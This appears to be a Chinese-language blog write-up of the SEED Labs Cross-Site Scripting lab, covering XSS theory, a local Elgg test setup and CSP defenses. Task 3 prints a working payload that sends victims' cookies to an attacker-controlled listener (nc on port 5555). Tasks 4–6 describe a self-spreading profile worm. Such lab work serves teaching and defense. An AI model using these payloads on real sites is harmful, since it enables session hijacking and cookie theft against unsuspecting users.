0%

网络攻防-XSS攻击

网络攻防-Web应用安全1-XSS攻击,涉及实验:SEED Labs – Cross-Site Scripting Attack Lab,代码见:https://github.com/Seanxz401/seed-labs

理论

Web应用攻击

前置知识:前后端架构、HTTP协议、请求与响应报文、HTML、Javascript、SQL

XSS

XSS攻击是由于Web应用程序对用户输入过滤不足而产生的,使得攻击者输入的特定 数据变成了JavaScript脚本或HTML代码

同源策略:A网页设置的 Cookie,B网页不能打开, 除非这两个网页”同源”。(协议相同、域名相同、端口相同)

XSS危害

  • 网络钓鱼,包括盗取各类用户账户
  • 窃取用户cookie,获取用户隐私信息,或利用好用户身份进行其他操作
  • 会话劫持,从而执行任意操作,如非法转账、发送邮件
  • 强制弹出广告页面、刷流量
  • 网页挂马:攻击者将恶意脚本隐藏在Web网页中,当用户浏览该网页时,这些隐藏的恶 意脚本将在用户不知情的情况下执行,下载并启动木马程序。
  • 进行恶意操作,如篡改页面信息
  • 进行大量的客户端攻击,如DDOS
  • 信息刺探,提取客户端信息,如浏览历史,端口信息、键盘信息
  • 控制受害者机器向其他网站发起攻击
  • 结合其他漏洞如CSRF
  • 提升用户权限,进一步渗透网站
  • 传播XSS蠕虫:将一段JavaScript代码保存在服务器上,其他用户浏览 相关信息时,会执行JavaScript代码,从而引发攻击

XSS类型

  • 反射性:非持久性、参数型,将恶意脚本附加到URL参数中(可通过短地址隐藏恶意参数)image-20221229193619250
  • 存储型:持久性,恶意脚本被存储在服务端的数据库中,如留言。不需要诱导受害者点击特定的url
  • DOM型:基于js,不需要与服务端进行交互

XSS防范措施

  • HttpOnly属性:指示浏览器禁止任何脚本访问cookie内容
  • 安全编码:对特殊字符进行安全编码,如尖括号
  • CSP Header:建立白名单,规定了浏览器只能够执行特定来源的代码

实验

环境准备

  1. sudo vim /etc/hosts,以root权限修改域名IP映射文件;

  2. docker 配置

    1
    2
    3
    4
    5
    6
    # 在docker-compose.yaml所属目录下编译
    docker-compose build
    # 运行容器
    docker-compose up
    # 查看是否开启成功
    docker ps -a
  3. 火狐插件:HTTP Header Live

Task1

选择一个用户(Boby)登录系统,修改用户信息Profile,在Brief Description一栏中插入XSS代码:

1
<script>alert('XSS Task1');</script>

切换用户Alice,查看Boby的用户信息界面,弹出弹窗:image-20221111220913723

Task2

修改Alice的Profile-Brief description

1
<script>alert(document.cookie);</script>

登录boby查看Alice的Profile,弹出boby当前的cookieimage-20221111221734914

Task3

找到攻击者的IP(自己的10.0.2.15),插入xss代码:

1
2
<script>document.write('<img src=http://10.0.2.15:5555?c='
+ escape(document.cookie) + ' >');</script>

本地开启监听:nc -lknv 5555

访问Profile时攻击端接收到包含cookie数据的HTTP请求信息:image-20221111222557101

Task4

查看合法的添加Friends-Samy的请求:image-20221111223650442

构造xss代码:见task4.js

登录Samy,修改Profile,将构造的代码放入About me文本框中(以HTML的形式,而不是富文本)。登录Alice,查看Samy的个人主页,一进入Profile,网页会自动发起添加Samy为朋友的请求,点开Friends就可以看到已经添加成功了:image-20221111224603001

Question:

  • ts和token是发起添加朋友的请求的必要参数,能够验证请求者的身份;
  • 如果About me只能输入富文本,提交的js代码如下,通过截获包并修改post数据也可以达到如上效果image-20221111225814314

Task5

查看修改profile的正常请求,获取到url和传参信息image-20221111232017233

构造xss代码(自动修改profile),见task5.js

  • samyGuid:登录samy,在控制台输出
    image-20221111230858031
  • if(elgg.session.user.guid!=samyGuid)是判断是否为攻击者自己,不能误伤了自己。

登录Alice查看Samy主页,自动发起edit请求:image-20221111234009724

查看Alice的主页,interests一栏已被修改为badmintonimage-20221111234058428

Task6

构造xss代码见task6.js,主要是添加了根据id获取标签内内容并作为修改内容。

登录Alice查看Samy,Alice被传播image-20221112010452081

登录Boby查看Alice,Boby被传播image-20221112010512373

Task7

根据前面修改的/etc/hosts文件,我们得到三个网址:www.example32a.com,www.example32b.com,www.example32c.com. OK表示script执行成功。

7.1 访问这三个网址

www.example32a.com:全部为OK,因为没有任何防护措施![image-20221112133824882](http://hexo-git.oss-cn-beijing.aliyuncs.com/img/image-20221112133824882.png)

www.example32b.com:只有4和6是OK,在配置文件中导入了CSP头部![image-20221112144922534](http://hexo-git.oss-cn-beijing.aliyuncs.com/img/image-20221112144922534.png)![image-20221112134124595](C:/Users/ASUS/AppData/Roaming/Typora/typora-user-images/image-20221112134124595.png)

www.example32c.com:只有1,4,6是OK,通过php文件导入了CSP头部![image-20221112144959428](C:/Users/ASUS/AppData/Roaming/Typora/typora-user-images/image-20221112144959428.png)![image-20221112134305497](http://hexo-git.oss-cn-beijing.aliyuncs.com/img/image-20221112134305497.png)

7.2 点击页面按钮

  • a:弹出js代码执行成功的弹窗,因为没有CSP保护;
  • b:无响应,有CSP header
  • c:无响应,有CSP header

7.3 修改Apache配置文件

修改image_www/apache_csp.conf,添加*.example60.com:image-20221112150230904

暂停容器,docker-compose build重新配置docker,docker-compose up开启。

再次访问www.example32b.com,发现Area5变成了OK![image-20221112150425747](http://hexo-git.oss-cn-beijing.aliyuncs.com/img/image-20221112150425747.png)

7.4 修改php文件

修改image_www/csp/phpindex.php文件,添加'nonce-222-222-222' *.example60.comimage-20221112151400251

重启docker步骤类似7.3,再次访问www.example32c.com:![image-20221112152058252](http://hexo-git.oss-cn-beijing.aliyuncs.com/img/image-20221112152058252.png)

7.5 解释CSP防止XSS攻击的原理

CSP 本质上是建立白名单,规定了浏览器只能够执行特定来源的代码;即使发生了xss攻击,也不会加载来源不明的第三方脚本。Task7中的Area1~7全是内嵌的JavaScript代码,因此引入CSP Header后将不会执行,只能通过设置白名单(Content-Security-Policy)来确认哪些脚本可放行。